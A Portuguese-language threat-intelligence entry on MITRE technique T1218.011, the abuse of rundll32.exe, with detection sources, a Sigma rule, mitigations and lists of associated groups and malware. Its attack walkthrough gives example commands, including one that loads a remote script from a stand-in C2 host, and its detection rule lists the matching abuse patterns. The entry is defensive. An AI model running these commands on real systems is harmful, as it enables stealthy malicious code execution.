# T1218.011 - Rundll32
## Técnica Pai
Esta é uma sub-técnica de [[t1218-system-binary-proxy-execution|T1218 - T1218 - System Binary Proxy Execution]].
## Descrição
Rundll32.exe é um utilitário nativo do Windows projetado para carregar e executar funções exportadas por DLLs. Adversários abusam dessa ferramenta legítima - uma prática conhecida como Living off the Land (LotL) - para executar código malicioso sem precisar de binários adicionais que possam ser detectados por antivírus. Como rundll32.exe é um processo assinado pela Microsoft, presente em todo sistema Windows e frequentemente incluído em listas de permissão de segurança corporativa, seu uso como proxy de execução permite que payloads maliciosos operem com alto grau de legitimidade aparente.
O abuso mais direto envolve chamar uma DLL maliciosa explicitamente: `rundll32.exe malware.dll,ExportedFunction`. Mas a técnica vai além - rundll32.exe pode executar arquivos `.cpl` (Control Panel Items) através das funções não documentadas `Control_RunDLL` e `Control_RunDLLAsUser` da shell32.dll, e até mesmo interpretar scripts JavaScript com a sintaxe `rundll32.exe javascript:"\..\mshtml,RunHTMLApplication"`, comportamento explorado por famílias como Poweliks para execução sem arquivo em disco. Atacantes também abusam de DLLs legítimas e assinadas pelo sistema - como `zipfldr.dll` e `ieframe.dll` - para indiretamente executar código malicioso, tornando o comportamento ainda mais difícil de distinguir de operação normal.
Uma técnica adicional de ofuscação explora o mecanismo de resolução de nomes de funções do rundll32.exe: o utilitário tenta primeiro `FunctionW` (Únicode), depois `FunctionA` (ANSI) antes de `Function`. Adversários criam múltiplas funções exportadas com nomes similares - algumas inócuas, uma maliciosa - para confundir análise estática. Funções também podem ser referênciadas por número ordinal (`#1`, `#2`) em vez de nome, dificultando ainda mais análise automatizada. Tudo isso se combina com [[t1036-masquerading|T1036 - Masquerading]] para maximizar a evasão.
**Contexto Brasil/LATAM:** Rundll32 é amplamente explorado por grupos que operam contra o setor financeiro brasileiro. O [[g0008-carbanak|Carbanak]], responsável por perdas de centenas de milhões de dólares em bancos globais incluindo latino-americanos, usa rundll32.exe extensivamente em sua cadeia de execução. O grupo [[g0046-fin7|FIN7]], com histórico de ataques ao varejo e setor de alimentação no Brasil, emprega rundll32 para execução de seus implants. A técnica é especialmente eficaz em ambientes corporativos brasileiros onde soluções EDR modernas ainda não estão universalmente implantadas e listas de permissão baseadas em nome de processo são comuns.
## Attack Flow
```mermaid
graph TB
A["Entrega<br/>(phishing / dropper)"] --> B["Drop de DLL<br/>ou script malicioso"]
B --> C["T1218.011<br/>Rundll32 Abuse"]:::highlight
C --> D["Execução de<br/>Payload em Memória"]
D --> E["C2 / Persistência<br/>/ Movimento Lateral"]
classDef highlight fill:#e74c3c,color:#fff,stroke:#c0392b
```
## Como Funciona
1. **Preparação:** O adversário prepara um payload - uma DLL maliciosa com função exportada, um arquivo `.cpl`, ou um script JavaScript inline - e o entrega ao sistema alvo via phishing, exploit de aplicação web, ou dropper de primeiro estágio. O payload pode ser armazenado em disco, em registro do Windows, ou carregado diretamente de uma URL remota, dependendo da sofisticação desejada.
2. **Execução:** O atacante aciona rundll32.exe com os argumentos apropriados, frequentemente via linha de comando em um script, tarefa agendada, ou chave de registro de execução automática. Exemplos reais incluem: `rundll32.exe C:\temp\payload.dll,#1` (execução por ordinal, evasão de análise por nome), `rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";GetObject("script:http://c2.exemplo.com/stage2.sct")` (execução sem arquivo), ou `rundll32.exe shell32.dll,Control_RunDLL malware.cpl` (abuso de Control Panel). O processo rundll32.exe legítimo aparece nos logs, mascarando o comportamento malicioso.
3. **Pós-execução:** Com o payload em execução sob o contexto de rundll32.exe, o adversário pode injetar código em outros processos (combinando com [[t1055-process-injection|T1055 - Process Injection]]), estabelecer persistência via registro ou tarefas agendadas, e iniciar comunicação C2 via [[t1095-non-application-layer-protocol|T1095]] ou protocolos de aplicação. A combinação com [[t1574-001-dll|T1574.001 - DLL Hijacking]] é comum: rundll32 carrega a DLL hijacked, que por sua vez carrega o payload final em memória.
## Detecção
**Fontes de dados:**
- **Sysmon Event ID 1** - `ProcessCreaté`: monitorar `rundll32.exe` com argumentos incomuns, especialmente com `javascript:`, `vbscript:`, caminhos em `%TEMP%`, `%APPDATA%`, ou argumentos codificados em base64
- **Sysmon Event ID 7** - `ImageLoaded`: DLLs carregadas por rundll32.exe de fora de `%SystemRoot%\System32`
- **Sysmon Event ID 3** - `NetworkConnect`: rundll32.exe iniciando conexões de rede - comportamento altamente suspeito
- **Windows Security Event ID 4688** - criação de processo `rundll32.exe` com linha de comando visível; correlacionar com processo pai incomum (ex: Word, Excel, PowerPoint)
- **Sysmon Event ID 11** - `FileCreaté`: arquivos DLL criados em diretórios temporários imediatamente antes de rundll32.exe ser executado
- **PowerShell Script Block Logging** - detectar invocação de rundll32 via PowerShell como técnica de evasão dupla
**Sigma Rule:**
```yaml
title: Suspicious Rundll32 Execution with Uncommon Arguments
id: c7d3e5b2-9f1a-4c88-b2e4-a6f0d8c3e7b9
status: stable
description: >
Detects rundll32.exe executed with arguments commonly used for malicious
purposes including JavaScript execution, ordinal-only calls, or loading
DLLs from user-writable directories
references:
- T1218.011
- https://lolbas-project.github.io/lolbas/Binaries/Rundll32/
author: RunkIntel
daté: 2026-03-24
logsource:
product: windows
category: process_creation
detection:
selection_base:
Image|endswith: '\rundll32.exe'
selection_suspicious:
CommandLine|contains:
- 'javascript:'
- 'vbscript:'
- ',#'
- '.cpl,'
- 'mshtml,'
- 'shell32.dll,Control_RunDLL'
- '\AppData\'
- '\Temp\'
- '\Users\Public\'
selection_network:
Image|endswith: '\rundll32.exe'
DestinationPort|exists: true
condition: selection_base and (selection_suspicious or selection_network)
falsepositives:
- Instaladores legítimos que usam rundll32 para registro de COM
- Algumas aplicações de acessibilidade do Windows
- Ferramentas de administração que usam arquivos .cpl legítimos
level: high
tags:
- attack.defense_evasion
- attack.t1218.011
- attack.execution
```
## Mitigação
| Mitigação | Recomendação Prática |
|-----------|---------------------|
| [[m1050-exploit-protection\|M1050 - Exploit Protection]] | Configurar Windows Defender Exploit Guard com regras de Ataque à Superfície de Redução (ASR): habilitar a regra `Block execution of potentially obfuscated scripts` (GUID: `d3e037e1-3eb8-44c8-a917-57927947596d`) e `Block JavaScript or VBScript from launching downloaded executable content`. Essas regras bloqueiam específicamente os vetores de execução JavaScript via rundll32. |
| Monitoramento de Linha de Comando | Implementar solução EDR com análise comportamental de linha de comando do rundll32.exe. Alertar imediatamente para: rundll32 com argumentos `javascript:` ou `vbscript:`, rundll32 iniciando conexões de rede, rundll32 carregando DLLs de diretórios temporários. SOCs brasileiros devem priorizar essa regra dado o alto volume de ataques financeiros usando essa técnica. |
| Application Control (AppLocker/WDAC) | Criar regras AppLocker que restrinjam os argumentos aceitos pelo rundll32.exe, bloqueando padrões de argumento associados a abuso. Embora rundll32 não possa ser bloqueado completamente em sistemas Windows, sua superfície de abuso pode ser reduzida com regras de hash ou caminho para DLLs permitidas. |
| Auditoria e Threat Hunting | Realizar hunting periódico por instâncias de rundll32.exe com processos pai incomuns (documentos Office, navegadores, e-mail clients), conexões de rede originárias de rundll32, e rundll32 criando subprocessos. Ferramentas como Elastic SIEM ou Microsoft Sentinel possuem queries pré-built para esse cenário. |
## Threat Actors
Os seguintes grupos usam rundll32.exe como vetor de execução e evasão:
- [[g0047-gamaredon|Gamaredon Group]] - APT russo com operações massivas na Ucrânia, usa rundll32 para carregar implants via documentos maliciosos entregues por phishing
- [[g0046-fin7|FIN7]] - grupo de crime financeiro com histórico de ataques ao setor de varejo e restaurantes no Brasil, usa rundll32 em sua sofisticada cadeia de infecção com o implant Carbanak/GRIFFON
- [[g0073-apt19|APT19]] - grupo de espionagem chinês que usa rundll32 para execução de shellcode e payloads de segunda fase
- [[g0094-kimsuky|Kimsuky]] - APT norte-coreano com foco em espionagem política, usa rundll32 para executar scripts e DLLs baixadas de servidores C2
- [[g1048-unc3886|UNC3886]] - grupo sofisticado com foco em virtualização, usa rundll32 em conjunto com outras técnicas LotL para evasão em ambientes bem monitorados
- [[g0008-carbanak|Carbanak]] - grupo responsável por bilhões em perdas bancárias globais incluindo LATAM, usa rundll32 extensivamente como proxy de execução em suas campanhas contra bancos
- [[g0022-apt3|APT3]] - grupo de espionagem chinês que usa rundll32 para execução de implants em ataques de espionagem corporativa e governamental
- [[g0059-magic-hound|Magic Hound]] - APT iraniano (APT35) que usa rundll32 em campanhas de phishing e spear-phishing contra alvos governamentais e de pesquisa
- [[g0127-ta551|TA551]] - distribuidor de malware em larga escala que usa rundll32 para carregar Ursnif, IcedID e outros trojans bancários com relevância para o Brasil
- [[g0108-blue-mockingbird|Blue Mockingbird]] - grupo criminoso que explora servidores web para mineração de criptomoedas, usa rundll32 para persistência e evasão de antivírus
## Software Associado
Os seguintes malwares e ferramentas abusam do rundll32.exe para execução:
- [[s0260-invisimole|InvisiMole]] - spyware sofisticado usado pelo grupo Gamaredon, usa rundll32 para carregar módulos de espionagem de forma furtiva
- [[s1160-latrodectus|Latrodectus]] - loader moderno sucessor do IcedID, usa rundll32 extensivamente para execução de payloads de segunda fase
- [[s0196-punchbuggy|PUNCHBUGGY]] - downloader do FIN7 que usa rundll32 para execução de shellcode e evasão de EDR
- [[s0635-boombox|BoomBox]] - downloader do APT29/Cozy Bear que usa rundll32 para carregar e executar payloads adicionais
- [[s0045-advstoreshell|ADVSTORESHELL]] - backdoor sofisticado atribuído ao APT28, usa rundll32 para injeção em processos do sistema
- [[s0204-briba|Briba]] - backdoor que usa rundll32 para execução persistente via chaves de registro Run
- [[s0576-megacortex|MegaCortex]] - ransomware corporativo que usa rundll32 para carregar seu payload de criptografia de forma a dificultar detecção
- [[s1064-svcready|SVCReady]] - loader distribuído por spam que usa rundll32 para execução sem necessidade de PowerShell ou scripts adicionais
- [[greyenergy|GreyEnergy]] - sucessor do BlackEnergy voltado a infraestrutura crítica, usa rundll32 em sua arquitetura modular de implants
- [[s0142-streamex|StreamEx]] - backdoor do grupo Deep Panda que usa rundll32 para carregar módulos de espionagem em processos do sistema
---
*Fonte: [MITRE ATT&CK - T1218.011](https://attack.mitre.org/techniques/T1218/011)*